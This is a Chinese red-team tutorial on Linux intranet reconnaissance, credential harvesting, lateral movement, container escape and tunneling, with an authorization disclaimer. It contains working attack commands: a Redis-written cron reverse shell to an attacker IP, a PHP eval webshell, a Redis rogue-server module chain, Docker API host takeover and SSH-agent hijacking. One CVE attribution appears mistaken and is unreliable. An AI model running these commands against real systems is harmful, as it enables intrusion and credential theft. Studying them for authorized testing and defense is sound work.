当前位置:首页>Linux>【HVV演练中】Linux主机内网侦察与横向移动

【HVV演练中】Linux主机内网侦察与横向移动

  • 2026-08-21 01:09:56
【HVV演练中】Linux主机内网侦察与横向移动

  课程培训

  扫码咨询

专注于SRC漏洞挖掘、红蓝对抗、渗透测试、代码审计JS逆向,CNVD和EDUSRC漏洞挖掘,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(课程培训限时优惠)。

文章作者:一梦

文章来源:https://www.freebuf.com/articles/system/493875.html

01

0x1 【HVV演练中】Linux内网侦察与横向移动

1. 引言:你凭什么能在内网里横着走

假设这样一个夜晚。你拿下一个边界 Web 服务,弹回来一个 Linux shell。指令执行了,id显示www-data。然后呢?

新手会立刻去跑扫描器,去撞端口。老手做的第一件事恰恰相反——先别动。因为接下来的每一秒,你都在被审计:auditd在记、syslog在记、SSH 的auth.log在记。你要回答的问题不是"内网里有什么",而是三个更刁钻的:

  1. 我是谁——这台机器上,我能读到什么?
  2. 这台机器认识谁——它信任谁?它跟谁说过话?它身上揣着谁的门票?
  3. 它还能去哪——它有几块网卡?路由表画到哪?DNS 指向谁?

想清楚这三条,再决定往哪个方向爬。这不是鸡生蛋的问题,是侦察的次序决定横移的成败。英文安全圈有一句很准的话,叫 "The L in Linux Stands for Lateral Movement"(Akamai 那篇经典文章的名字)[4]——Linux 内网里,横移不是一招鲜,是一整套围绕"信任、凭据、可达性"的打法。而这篇文章,就是把这套打法拆开给你看。

我们走的路是这样的:先交代自己(侦察)→ 摸清邻居(发现)→ 收集弹药(凭据)→ 打出第一跳(横向)→ 建立通路(隧道)→ 跨平台(域)→ 绝境求生(出网)→ 串成链(案例)→ 最后换到蓝队视角看你怎么被抓。一条路走下来,中间每一步都会自然引出下一步——这就是为什么我把它们写成"站",而不是一张功能清单。

[!] 边界声明:本文所有内容针对授权渗透测试、红队演练、CTF场景。探测、爆破、密钥窃取、逃逸等所有手法,未经授权对任何系统实施都属于违法行为。写公钥进别人authorized_keys之前,先确认你签了授权书。

现在,我们踏进第一站。

2. 第一站:静默侦察——先把自己交代清楚

先搞懂为什么这个东西能工作

横向移动的本质是复用。复用信任(SSH 密钥)、复用凭据(口令、票据)、复用可达性(跳板)。而这一切的起点,是你先搞清楚这台机器能给你什么。Linux 的哲学是"一切皆文件",所以侦察也绕不开/proc/etc/var/log——那些看起来平平无奇的文件,就是这台机器的全部记忆。

最关键的一个观念:侦察的动静要最小化。扫描是发流量的,是主动的;而读本机文件是零流量的,是被动的。同等的信息量,被动永远优先于主动。你先花三分钟读文件,往往就能避免半小时的瞎扫。

我是谁:先判断自己站在哪

第一个要回答的,是你在容器里还是物理机里。这决定后面所有路怎么走:

ls -la /.dockerenv                        # 存在 = 容器
cat /proc/1/cgroup                        # 含 docker/k8s 字样 = 容器
hostname                                  # 容器 hostname 常是容器 ID

判断错这一步,你会拿着容器里的权限去想办法打宿主机,方向全反。容器里你可能只是几百行的环境变量 + 一个被阉割的 shell;物理机上你是整块硬盘的主人。先分清。

然后看身份与历史——这两行代码能省你一天:

id; sudo -l                               # 我的权限、我能 sudo 什么
history; cat ~/.bash_history ~/.zsh_history 2>/dev/null   # 前任(或这台机的运维)留了什么

bash_history是内网渗透里最被低估的宝藏之一。运维在这台机器上敲过的sshpass -pssh -i /tmp/keyscpmysql -p,全在这里。别小看历史文件——真实攻击链里,历史命令泄露凭据是占比最高的入口之一(见第四站详述)。

这台机器认识谁:网络记忆

接下来是网络侧的三板斧。这三条命令全是只读的、零流量的,但信息量爆炸:

cat /etc/hosts          # 内网域名→IP 映射,最容易被忽略的宝藏
cat /etc/resolv.conf    # DNS 服务器 IP;域环境里 DNS = 域控
route -n || ip route    # 路由表 → 暴露可达的其他网段

/etc/hosts里写的内部域名(gitlab.corp.localjump.corp.local)往往比扫描器跑半天出来的结果更有用——有人已经替你把目标标好了。路由表则是你的"地图边界":看到10.10.0.0/16的静态路由,你就知道这台机器还连着另一个大网段。

真正杀招是这一条——这台机器正在跟谁说话

netstat -anp || ss -tulnp
ss -tunp | grep ESTAB        # 活跃连接:找 Redis(6379)/MySQL(3306)/Docker(2375)/ES(9200)
netstat -a -p --unix         # Unix socket:docker.sock 等

ssESTAB列表,是横向目标的第一手名单。生产环境里一台应用服务器必然连着数据库、缓存、消息队列——这些连接对象就是你下一步要爬的机器。不用扫描,netstat已经告诉你哪里有钱

最后补一条被动侦察之王——ARP 表,零流量拿到同网段存活清单:

arp -a; cat /proc/net/arp; ip neigh show

我还能去哪:出网的盘算

在动手扫之前,先花十秒钟盘算这台机器怎么回我。攻防演练里最尴尬的事,是你拿了 shell 却发现 payload 弹不回来,或者隧道工具传不进去。所以提前探:

# 判断本机有哪些工具可用(决定后面用什么打)
which nmap masscan nc ncat netcat wget curl python3 perl php ruby docker 2>/dev/null

# 出网探测五件套(详见第七站)
ping -c 4 baidu.com                     # ICMP
curl -sI http://www.baidu.com           # HTTP
dig @8.8.8.8 www.baidu.com              # DNS
bash -c 'echo x > /dev/tcp/你的VPS/80' && echo TCP-OK   # 任意 TCP

这一站的核心就一句话:能读文件就不发包,能看状态就不扫网。把上面的命令在脑子里过一遍,你心里就该有这张机器的完整画像了——它是什么角色、连着谁、揣着什么、能去哪。下一站,才轮到"扫"。

日文社区在这一块的特色是慢工出细活:MITRE ATT&CK 的日译版(attack-mitre-japan.com)和 Qiita 的 AD 横移系列把每一步的战术映射做得极其细致[14],适合你写报告时对照着补齐战术编号。

3. 第二站:摸清邻居——从存活到服务的动静权衡

先搞懂为什么"扫"是门手艺

侦察靠读文件是零成本,但发现邻居终究要发包。这里有个绕不开的权衡:快 = 响,响 = 容易被抓。nmap 的-T5-T0能差出几个数量级的流量;fscan 一个命令把扫描、爆破、POC、未授权检测全做了,方便是真的方便,但动静也是真的炸。这一站的核心是学会按场景选工具、按阶段控动静

先说一个通行原则:先低流量摸底,后定点精扫。进一个陌生网段,别上来就全模块梭哈。先确认存活,再摸端口,最后才轮到爆破和 POC。

存活探测:从零流量到高流量

# 同网段最狠:ARP,不走 L3,不触发防火墙日志
nmap -sn 192.168.1.0/24          # 同网段默认发 ARP
netdiscover -r 192.168.1.0/24
arp-scan -I eth0 192.168.1.0/24

# Windows 内网:NetBIOS/NBT 也能扫
nbtscan -r 192.168.1.0/24
nmblookup -A <IP>

# 禁 ICMP 的网络:TCP 存活(无 ping 扫描)
nmap -n -Pn -T5 -sS 192.168.1.0/24          # -Pn 跳过 ping 直接 TCP
nmap -sn -PS22,80,443,445 192.168.1.0/24    # TCP SYN ping 探指定端口

跨网段时 ARP 失效(ARP 出不了三层),这时要么用 TCP 存活,要么先看路由找网关所在段,要么通过已控机器做 socks5 代理再扫目标段——后者是标准做法,我们第五站展开。

端口扫描:快慢之间

# 内网常规精扫
nmap -sV -sC -O -T4 -n -Pn -p- -oA full 192.168.1.10

# 大网段高速
nmap -p- --min-rate 10000 -n -Pn -T4 192.168.1.0/24
masscan -p22,80,443,445,3306,3389,6379,9200 192.168.1.0/24 --rate 10000

# UDP 别漏(容易被忘)
nmap -sU -sV --version-intensity 0 -n -F -T4 192.168.1.10

# 躲避检测的精细化控制
nmap -f 192.168.1.10                # 分片
nmap -D RND:10 -n -Pn 192.168.1.10  # 10 个随机诱饵
nmap --source-port 53 -n -Pn 192.168.1.10   # 源端口哄骗(骗只放行 53 的防火墙)
nmap --scan-delay 1s 192.168.1.10   # 低速率躲阈值 IDS

服务枚举时,netstat教过你的"本机连着谁"可以直接反哺扫描——先打ss -tnp里出现过的端口,命中率最高。Redis、MySQL、Docker API 这类服务一旦暴露,就是横向前哨(第四站详述)。

fscan:冲锋枪的用法与弊端

中文内网生态里,fscan 是绕不开的事实标准(GitHub 14k+ star)[6]。它把 nmap 的端口扫描、hydra 的爆破、whatweb 的指纹、未授权检测、POC 连发全塞进一个 Go 静态二进制。一个命令兜底:

fscan -h 192.168.1.0/24                    # 默认全模块
fscan -h 192.168.1.0/24 -np -nopoc -nobr   # 最小流量:跳过存活/跳过POC/跳过爆破
fscan -h 192.168.1.0/24 -p 1-65535         # 全端口
fscan -h 192.168.1.0/24 -m ssh -p 2222     # 指定模块
fscan -h 192.168.1.0/24 -pwdf pwd.txt -userf users.txt   # 字典爆破
fscan -h 192.168.1.0/24 -rf id_rsa.pub     # Redis 写公钥
fscan -h 192.168.1.0/24 -rs 192.168.1.1:6666   # Redis 写计划任务反弹
fscan -h 192.168.1.0/24 -socks5 socks5://user:pass@127.0.0.1:1080   # 过代理扫

但我要把 fscan 的弊端说透,因为太多新手把它当万能钥匙,然后死得很难看:

① 扫描即暴露。fscan 的一键默认 = 端口扫描 + 弱口令爆破 + web 指纹 + POC 连发 + 未授权检测同时上。在一个/24上跑默认命令,等于给这个网段发上万请求。它默认的 User-Agent 是截断的 Chrome 头(源码里web/webTitle.goreq.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"),没有版本号),内网大量相同 UA 就是强特征。更狠的是爆破节奏——默认端口扫描线程 600、超时 3 秒,28 种服务爆破一起打,短时高并发认证风暴是 HIDS 检测的核心行为(第十站详述)。

② 爆破是动静比最差的操作。默认字典对强口令网络成功率可能只有几个点,但失败的 SSH 爆破会写满auth.log、触发账户锁定和告警。攻防演练里蓝队最常挂的检测就是"短时间多次 SSH 失败认证"。真正的高手爆破是定向的——先侦察锁定关键目标(数据库、运维机、跳板机),小字典慢慢试。

③ 蜜罐一撞一个准。fscan 见 IP 就打,不挑对象。高交互蜜罐(HFish 之类)本来就是为了扫描器设计的:它完整记录你的工具链指纹、爆破字典、命令特征,还能顺藤摸瓜看你手里有哪几条路。

④ 单点深度不足。fscan 的价值在发现——告诉你网里有什么、哪些能打。到了深入阶段(Redis 主从复制完整利用、SMB 深度枚举、多级利用链)你还得回 nmap 精扫 + 手工 + 专用脚本。

⑤ 二进制指纹公开。Go 静态编译,体积 10MB+,原版 hash 早被各厂商标记,直接传大概率被杀(第十站的免杀实证)。

正确姿势就十二个字:分段用、定向用、低流量起步。-np -nopoc -nobr摸底,看结果,再对命中的目标定向跑爆破。fscan 是冲锋枪,不是狙击枪——选之前先问自己这轮是要横扫还是要偷袭。

俄文社区在"扫描策略"上有独到整理:Codeby 那篇 2026 Linux 渗透全指南把 40+ 工具按 ATT&CK 战术映射排序[15],其中"如何用低流量手法替代高流量扫描"一节尤其值得看。英文资料(HackTricks、iRed.team)则胜在命令参数的精细化。

4. 第三站:弹药库——凭据收集与未授权服务

先搞懂为什么"凭据"是横移的唯一货币

横向移动能复用三样东西:密钥、口令、票据。而这三样里,SSH 私钥是最危险的一种——因为它是无口令的。密码会失败、会触发 MFA、会留下认证失败的日志;私钥不会。私钥一旦落入敌手,等于那张机器的"免死金牌"直接换了个主人,而且authorized_keys里的信任决策永不过期。这就是为什么 Linux 内网横移的第一桶金,永远是找私钥

MITRE 把这条线画得很清楚:T1021.004(Remote Services: SSH)是横向移动技术里 24 个真实 APT 组在用的路径[1],T1552.004(Unsecured Credentials: Private Keys)[2]和 T1563.001(SSH Hijacking)[3]则是它的弹药和手法。而我要带你走的,正是这条被真实世界反复验证的路。

SSH 密钥狩猎:五个文件的攻防价值

~/.ssh/下五个文件,每个都是戏:

文件
攻击者视角
横向价值
id_rsa
/id_ed25519
本机私钥(身份凭证)
极高:复用登录全内网,加密则离线爆破
id_rsa.pub
公钥
注释user@hostname定位资产库身份
authorized_keys
谁能登录本机
溯源管理员来源;植入攻击者公钥做后门
known_hosts
本机去过哪
核心
:内网资产地图,锁定横向目标 IP
config
登录别名配置
明文暴露内网 IP、用户名、跳板路径、IdentityFile密钥位置

全盘狩猎命令(中英文社区都有,命令几乎一样):

find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
grep -rlE "BEGIN (OPENSSH|RSA|EC|DSA) PRIVATE KEY" /home /root /opt /var /tmp 2>/dev/null

# 判断私钥是否加密(Proc-Type: 4,ENCRYPTED 开头即加密)
head -2 ~/.ssh/id_rsa
ssh-keygen -y -P "" -f ~/.ssh/id_rsa >/dev/null 2>&1 && echo"NO passphrase" || echo"encrypted"

# 加密私钥离线爆破
python3 /usr/share/john/ssh2john.py key > key_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt key_hash.txt

known_hosts的含金量很多人低估了。它是一张"这台机器曾经连接过哪些主机"的信任地图。如果管理员开了HashKnownHosts yes,直接读是哈希,但可以用已知网段碰撞:

for ip in $(seq 1 254); do
  ssh-keygen -F 10.10.1.$ip -f ~/.ssh/known_hosts 2>/dev/null | grep -v "^#" | grep -v "^$" \
    && echo"[+] Found: 10.10.1.$ip"
done

~/.ssh/config更狠——它把目标、用户名、跳板路径、私钥位置全写成明文配方了:

cat /home/*/.ssh/config /root/.ssh/config 2>/dev/null

history / 配置 / 内存:凭据的四大来路

① 历史命令(动静为零,命中率高):

cat ~/.bash_history | grep -E "ssh|scp|rsync|sftp"
cat ~/.bash_history | grep -i sshpass        # sshpass -p 后直接跟明文密码
cat ~/.mysql_history ~/.psql_history ~/.rediscli_history 2>/dev/null

② 配置文件(web 应用、运维脚本、备份里全是密码):

grep -rE "(password|passwd|token|secret|api_key)\s*=\s*['\"]?..." /home /etc /opt /var/www 2>/dev/null
grep 'DB_USER\|DB_PASSWORD\|DB_HOST' /var/www/*/wp-config.php 2>/dev/null
cat ~/.git-credentials ~/.netrc ~/.npmrc ~/.pypirc ~/.aws/credentials 2>/dev/null
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null   # systemd 明文密钥

③ 环境变量与进程内存(容器里直接看/proc/1/environ):

env | grep -iE "pass|token|secret|aws|db"
for pid in $(ls /proc | grep -E "^[0-9]+$"); do
  cat /proc/$pid/environ 2>/dev/null | tr '\0''\n' | grep -iE "pass|secret|aws_access"
done

④ 内存 dump(MITRE T1003.007[5]——读进程 heap 抓密码,MimiPenguin 的原理):

PID=$(pgrep -n -f <target_process>)
HEAP=$(grep -E "^[0-9a-f-]* r" /proc/$PID/maps | grep heap | cut -d' ' -f1)
START=$((0x$(echo$HEAP | cut -d'-' -f1))); SIZE=$((0x$(echo$HEAP | cut -d'-' -f2) - START))
dd if=/proc/$PID/mem of=/tmp/dump.bin bs=1 skip=$START count=$SIZE 2>/dev/null
grep -i "PASS" /tmp/dump.bin

ssh-agent 劫持:不用私钥文件的横向

这是最优雅也最隐蔽的一条:ssh-agent把解密后的私钥放内存,通过 Unix socket($SSH_AUTH_SOCK)响应签名请求。ssh -A会把 socket 转发到远端——于是私钥文件本体不出受害者机器,但签名能力被借走了

find /tmp -type s -name "agent.*" 2>/dev/null; ls -la /tmp/ssh-*/ 2>/dev/null
# root 枚举受害者 agent socket
for pid in $(pgrep -u victim ssh-agent); do
  cat /proc/$pid/environ | tr '\0''\n' | grep SSH_AUTH_SOCK
done
export SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.1234
ssh-add -l && ssh user@target          # 借用受害者密钥横向,无需私钥文件

为什么这招危险到值得单列?因为 agent 转发的信任边界是反向的:你转发 agent socket 到一台恶意服务器,那台服务器不仅能借你的身份,还能通过 PKCS#11 接口让你的 ssh 客户端加载任意.so——CVE-2016-10009 就是靠这个实现的 RCE[8]。所以防守方的铁律是:**ForwardAgent是信任边界反转的根源,能用 ProxyJump 就别用 agent 转发**。

未授权服务:送上门的内网钥匙

凭据之外,内网里躺着另一类"送上门"的弹药——未授权访问的服务。fscan 对这些服务有原生检测,命中后一行标识:

[+] 192.168.1.1:6379: redis unauthorized
[+] 192.168.1.1:27017: mongodb unauthorized
[+] 192.168.1.1:9200: elasticsearch unauthorized
[+] 192.168.1.1:11211: memcached unauthorized

这里我把杀伤力最高的几个列一下(完整命令链在素材库,此处给核心):

Docker API 2375——直通宿主机。裸curl就能接管:

curl -s http://IP:2375/containers/json | jq        # 枚举容器
docker -H tcp://IP:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow                                  # 宿主全部文件

Elasticsearch 9200——数据矿场。索引里是日志、会话、API key:

curl -X GET "IP:9200/_cat/indices?v"
curl "IP:9200/_search?pretty=true&size=10000"

PostgreSQL 5432——COPY FROM PROGRAM直接命令执行(CVE-2019-9193,官方当 feature 不修):

CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

ZooKeeper 2181——四字命令打点 + AdminServer 整个状态库 dump:

printf'ruok' | nc IP 2181        # imok = 存活
printf'dump' | nc IP 2181        # /brokers/ids/*(Kafka 拓扑)
curl -s "http://IP:8080/commands/snapshot?streaming=true"# 离线 dump 全 znode 树

NFS 2049——no_root_squash写公钥;更阴的坑是/etc/shadow属主root:shadow(gid 42),root_squash只防 UID 0,不防这个组:

showmount -e IP
mount -t nfs -o vers=3 IP:/home /mnt/home
cat ~/.ssh/id_rsa.pub >> /mnt/home/<user>/.ssh/authorized_keys

这些服务的共同点:**它们不是"漏洞",是"配置"**。加固得当就无懈可击,放养就是门户大开。内网里扫到这几个端口,基本等于捡到钥匙。

提权是横移的杠杆

凭据和未授权服务之外,还有一个杠杆——提权。sudo/SUID/capabilities 的滥用是独立的大主题(GTFOBins 是权威清单[11],sudo -l是第一步),这里只点一句:拿到 root 意味着你能读/etc/shadow、能翻所有用户的~/.ssh/、能strace任何进程——它把整个"弹药库"的检索权限从"可读几处"放大成"全读"。所以侦察链里永远带着一根提权探针:sudo -l看一眼,SUID 扫一遍,capabilities 列一次。提权不成,也要知道哪里能提——那是横移的倍增器。

中文社区在凭据收集这块的实战总结最厚。ZONE.CI 把.ssh五文件做成攻防价值表[16]、FreeBuf 的 Redis getshell 总结[17]、腾讯云的 Linux 横向实战[18],都是英文社区没有的一手材料。而英文侧(Hive Security 2026 攻防一体文[7])补的是完整的检测侧:auditd 规则、Sigma、Wazuh rule ID 四件套。

5. 第四站:第一跳——密钥横向、Redis、容器逃逸

先搞懂为什么"第一跳"决定了整条链

弹药齐了,开始爬。这一站是"把前面收集的信任真正花出去"的一步。三条主路:SSH 密钥横向(复用信任)、Redis getshell(复用服务)、容器逃逸(突破隔离)。每一条都要讲透为什么能通、什么时候不灵。

SSH 密钥横向:最干净的一跳

拿到私钥后的第一件事:别急着满网段扫。先用known_hosts/etc/hostsnetstat、ARP 拼出"这台机器信任谁",然后批量试

# 批量登录(BatchMode 防挂起,私钥必须 chmod 600)
for ip in $(seq 1 254); do
  ssh -i ~/.ssh/id_rsa -o BatchMode=yes -o StrictHostKeyChecking=no \
      -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 root@192.168.1.$ip \
'id && hostname' 2>/dev/null && echo"[+] 192.168.1.$ip OK"
done

# xargs 限并发(防 sshd 限速 / fail2ban)
cat targets.txt | xargs -P 10 -I{} sh -c \
'ssh -i key -o BatchMode=yes -o StrictHostKeyChecking=no root@{} "hostname" 2>/dev/null && echo "[+] {}"'

规模化更推荐 nxc(netexec)的 ssh 模块——私钥批量试,绕过密码认证,日志更隐蔽

nxc ssh 192.168.1.53 -u sameuser --key-file ~/.ssh/id_rsa -x 'whoami'
nxc ssh 192.168.1.0/24 -u users.txt -p 'Spring2025!'
nxc ssh <host> -u root -p 'x' -x 'sudo -l'
nxc ssh <host> -u root -p 'x' --get-file ~/.bash_history /tmp/bh.txt   # 顺走历史

常见翻车点——StrictModes 权限坑:目标开了StrictModes yes时,.ssh目录必须是 700、authorized_keys必须是 600、owner 必须对,否则服务端直接拒绝公钥认证,报Permission denied (publickey)。这经常是"密钥明明对却登不上"的唯一原因。同时注意老 OpenSSH 服务端要-o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostkeyAlgorithms=+ssh-rsa才能用老算法。

如果连上去的机器又是跳板,repeat——netstatknown_hosts→ 私钥 → 下一跳。这就是"横向"的本义:在信任链上一步步挪。现实中 SSH-Snake 这种自复制自传播的恶意脚本,就是把这套"找密钥→找主机→再找密钥"自动化了(2024 年已被真实攻击者武器化,初始投递常走 ActiveMQ/Confluence 漏洞)[19]。

Redis getshell:内网最经典的横向前哨

Redis 未授权是内网渗透的"三朝元老",从远古到 2026 年依然高发。它的价值在服务本身的权限——Redis 常以 root 跑,getshell 直接就是 root。四条路:

① 写 SSH 公钥(要求:root 运行 + 目标开 SSH +/root/.ssh存在):

# 公钥前后加空行——绕过 RDB 文件头二进制垃圾数据(REDIS0009 魔数)
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h <IP> -x set crackit
redis-cli -h <IP>
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
ssh -i id_rsa root@<IP>

这里有个细节值得讲透:save是以 RDB 格式落盘的,文件首行是二进制头,如果公钥不前后加\nsshd会把二进制垃圾混进authorized_keys导致识别失败。必须一次性写入,残留脏数据的话flushall能清但会破坏数据,实战慎用。还有一条大量中文教程没提的坑——写 cron 反弹只在 CentOS 稳:Ubuntu/Debian 的 cron 会因 RDB 乱码拒绝执行,CentOS 会忽略乱码继续跑。

② 写计划任务 cron 反弹(仅 CentOS 稳定):

echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/<攻击IP>/4444 0>&1\n\n" | redis-cli -h <IP> -x set 1
redis-cli -h <IP>
config set dir /var/spool/cron/        # CentOS;Ubuntu/Debian 用 /var/spool/cron/crontabs/
config set dbfilename root
save

③ 写 webshell(要求:知道 web 绝对路径 + 可写):

redis-cli -h <IP>
config set dir /var/www/html
config set dbfilename shell.php
set x "\n\n\n<?php @eval($_POST['cmd']);?>\n\n\n"
save

④ 主从复制 RCE(CVE-2019-11090 链,影响 4.x–5.0.5):攻击者起一个"恶主",让目标变成从机,把恶意.so当 RDB 数据同步到/tmp,再MODULE LOAD加载执行命令:

# 工具:redis-rogue-server(<=5.0.5)或 redis-rce(支持 -a 带密码)
git clone https://github.com/n0b0dyCN/redis-rogue-server
python3 redis-rogue-server.py --rhost <目标> --rport 6379 --lhost <攻击IP>
# 手动链路(无工具时)
config set dir /tmp
config set dbfilename exp.so
slaveof <攻击IP> 15000
module load ./exp.so
system.exec "whoami"; system.rev <攻击IP> 1234   # 反弹

判定表——新版 Redis 这招还灵吗?这是最值得背的一段。Redis 7.0 引入 PR #9920 三个保护开关,默认全no

手法
≤5.0.5
6.x
7.x+(默认)
写 SSH 公钥
可用
可用(root)
不可用CONFIG SET dir被封
写 cron 反弹
CentOS 可用
CentOS 可用
不可用 同上
写 webshell
可用
可用
不可用 同上
主从复制 MODULE
可用
部分可用
不可用MODULE命令默认禁用

enable-protected-configs(保护 dir/dbfilename)、enable-debug-commandenable-module-command三个开关配成yeslocal(仅本地 TCP + unix socket)才可能利用。除非你有 SSRF 打到 127.0.0.1:6379,或者遇到 Redis 6 时代配了local的站。而 Redis 7 时代唯一的新兴 post-auth RCE 面是 DarkReplica(CVE-2026-23631)——函数引擎 + 主从复制重入 UAF,2026-05 修复于 7.2.14/7.4.9/8.x[20]。

容器逃逸:隔离是纸糊的

内网里打穿 Web 服务经常发现自己在容器里。这时你的攻击面从"这台机器"变成"宿主机 + 同宿主其它容器"。逃逸面判定(T Wiki 的 container-escape-check 逻辑[21]):

cat /proc/1/cgroup | grep -qi docker && echo"Is Docker"
cat /proc/self/status | grep -qi "0000003fffffffff" && echo"Is privileged"# 特权容器
ls /var/run/ | grep -qi docker.sock && echo"docker.sock mounted"
find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo"root dir mounted"

① docker.sock 挂载——最简单也最致命:

docker run -it -v /:/host ubuntu chroot /host bash    # 容器里有 docker 命令
# 无 docker 命令时直接打 API
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" \
  -d '{"Image":"ubuntu","Binds":["/:/host"]}' http:/v1.40/containers/create

② 特权容器——mount宿主机磁盘 + chroot:

fdisk -l
mkdir /test && mount /dev/sda1 /test && cat /test/etc/shadow
nsenter -t 1 -m -u -i -n -p -- chroot / bash            # 直进宿主 PID namespace
echo $'*/1 * * * * perl -e \'...revshell...\';' >> /test/var/spool/cron/crontabs/root

③ cgroups release_agent(CAP_SYS_ADMIN / 特权):

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo"$host_path/cmd" > /tmp/cgrp/release_agent
echo'#!/bin/sh' > /cmd; echo"ps aux > $host_path/output" >> /cmd; chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"; sleep 1; head /output

④ CVE-2022-0492(非特权 userns 也能打 cgroup)——unshare -UrmC bash后走同上的 release_agent 流程。⑤ 脏管道 + runC(CVE-2022-0847 绕只读挂载覆写宿主文件)——2023 年后逃逸的主链,T Wiki 有完整的/proc/<runc_pid>/exe循环打法[22]。⑥ core_pattern procfs——挂载宿主 procfs 时,改/proc/sys/kernel/core_pattern让内核崩溃转储执行你的脚本。

逃逸后的第一件事(很多人漏):/proc/1/environ(宿主机根进程环境变量)、宿主机~/.ssh/docker inspect其它容器的环境变量(里面常常有密码和 API key)、cron。这一步把"逃逸"变成"横向"。

容器/云这块,中文 T Wiki[21] 和阿里云的文章是权威;英文 Red Canary 有专门的容器逃逸检测报告[23],Unit42 和 CyberArk 把逃逸原理讲得最透。跨语言对照看,原理看英文,靶场和工具看中文

6. 第五站:打通隧道——SSH 三模式与工具矩阵

先搞懂为什么"隧道"是横移的命脉

第一跳打进去了,但你发现目标机器能出网(或者你还要继续深入二级网段)。这时候的问题是:你的攻击机和内网之间没有路。隧道就是那个路。为什么 SSH 隧道是第一选择?因为它是系统自带、加密、无文件落地的——sshd每家 Linux 都有,用系统自己的东西,不传二进制,不触发文件落盘检测。

SSH 三模式:先背熟这三个

所有参数格式统一为[bind_address:]port:host:hostport方向由命令在哪台机器上执行决定

# 本地转发(正向):攻击机 → 跳板 → 内网目标
ssh -L 8443:192.168.1.100:8443 user@jump -N -f

# 远程转发(反向):目标机 → VPS → 攻击机(目标在 NAT 后时的核心手段)
ssh -R 13389:127.0.0.1:3389 user@VPS -N -f

# 动态转发(SOCKS5):建本地 SOCKS 代理,proxychains 漫游全网段
ssh -D 1080 user@jump -N -f

# OpenSSH 7.6+:反向动态 SOCKS(单命令在远端建 SOCKS)
ssh -R 9051 user@jump -N -f

# 多跳
ssh -J user1@jump1,user2@jump2 -D 1080 user3@target

关键开关:-N(不执行命令)、-T(不分配 TTY)、-f(后台)、-C(压缩)。**注意GatewayPorts**:不开时-R只绑 loopback,想绑0.0.0.0必须在sshd_config开。SpecterOps 那篇 SSH 隧道权威指南里给的经典组合是三跳打通[9]:

# 目标机建 SOCKS → 暴露到 VPS → 攻击机连回 VPS → proxychains 指向本地
ssh -D 9052 user@target -N -f                       # 目标机上
ssh -R 9051:127.0.0.1:9052 user@VPS -N -f            # 目标机上
ssh -L 9050:127.0.0.1:9051 user@VPS -N -f            # 攻击机上
echo"socks5 127.0.0.1 9050" >> /etc/proxychains4.conf
proxychains nmap -sT -Pn -p 445 192.168.1.0/24

工具矩阵:按场景选,别按名气选

隧道工具生态成熟到过剩,选型的口诀(多来源一致)是:有 SSH 用 SSH → 穿防火墙用 chisel → 透明漫游用 ligolo-ng → 多级内网用 Stowaway/Venom → 仅 Web 端口用 reGeorg → 极端封网用 DNS/ICMP。矩阵如下:

工具
原理
权限
强项
检测特征
SSH
原生 TCP 加密
需 SSH 权限
系统自带、免杀
合法端口,最难检测
chisel
HTTP(S)/WS 隧道(Go 单文件)
免 root
穿防火墙、R:socks秒建 SOCKS
chisel-v3
指纹串、WS upgrade;Elastic 有规则[10]
frp
C/S 反向代理
免 root
协议全、端口复用、P2P
有 dashboard、token;HTTP 隧道被 DPI 识别
ligolo-ng
TUN 网卡 + gvisor(反向 TLS)
agent 免 root,proxy 需 root
透明 L3/L4,nmap 直接跑不用 proxychains
新 TUN 网卡/路由;11601 端口
sshuttle
LD_PRELOAD 透明代理
两端免 root
免 root 全网段透明代理
无特征隧道层
Venom
Go 多级代理
免 root
多级 SOCKS、端口复用
2019 停更、已被杀软标记
Stowaway
Go 多级代理
免 root
TCP/HTTP/WS 协议可选、TLS
进程名/参数已被蓝队覆盖

chisel 上手最快(攻击机当 server,目标当 client):

./chisel server -p 8081 --reverse --auth "user:pass"# 攻击机
./chisel client --auth "user:pass" VPS:8081 R:8082:socks  # 目标:反向 SOCKS
./chisel client VPS:8081 R:13389:127.0.0.1:3389           # 目标:反向端口转发

ligolo-ng 是 2024-2026 明显崛起的现代替代——TUN 网卡直接把攻击机"泡"进目标网段,nmap/SMB/RDP 不用 proxychains 直接跑:

sudo ./proxy -selfcert -laddr 0.0.0.0:11601   # 攻击机(需 root 建 tun)
./agent -connect VPS:11601 -ignore-cert        # 目标机(免 root)
# proxy 控制台:interface_create → session → tunnel_start --tun ligolo
sudo ip route add 10.10.10.0/24 dev ligolo
nmap --unprivileged 10.10.10.100               # 直接扫,不用 proxychains

sshuttle 是"穷人版 VPN",免 root 且避开 TCP-over-TCP 性能坑:

sshuttle -D -r user@host 10.10.10.0/24 0/0 --ssh-cmd 'ssh -i ./id_rsa'

多级代理:二级、三级内网怎么打通

真正难的是多层内网——从边界到目标隔了三层网段。三种主流打法:

proxychains 级联(最朴素):proxychains指向第一条 SOCKS,这条 SOCKS 再链向更内层的 SOCKS,层层叠加。

ligolo-ng 双节点(官方 Advanced Pivoting):

# Agent1 上加 listener,把 Agent2 的接入转到 ligolo 本地端口
# proxy 控制台:
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601
# Agent2(无外网)连接 Agent1:
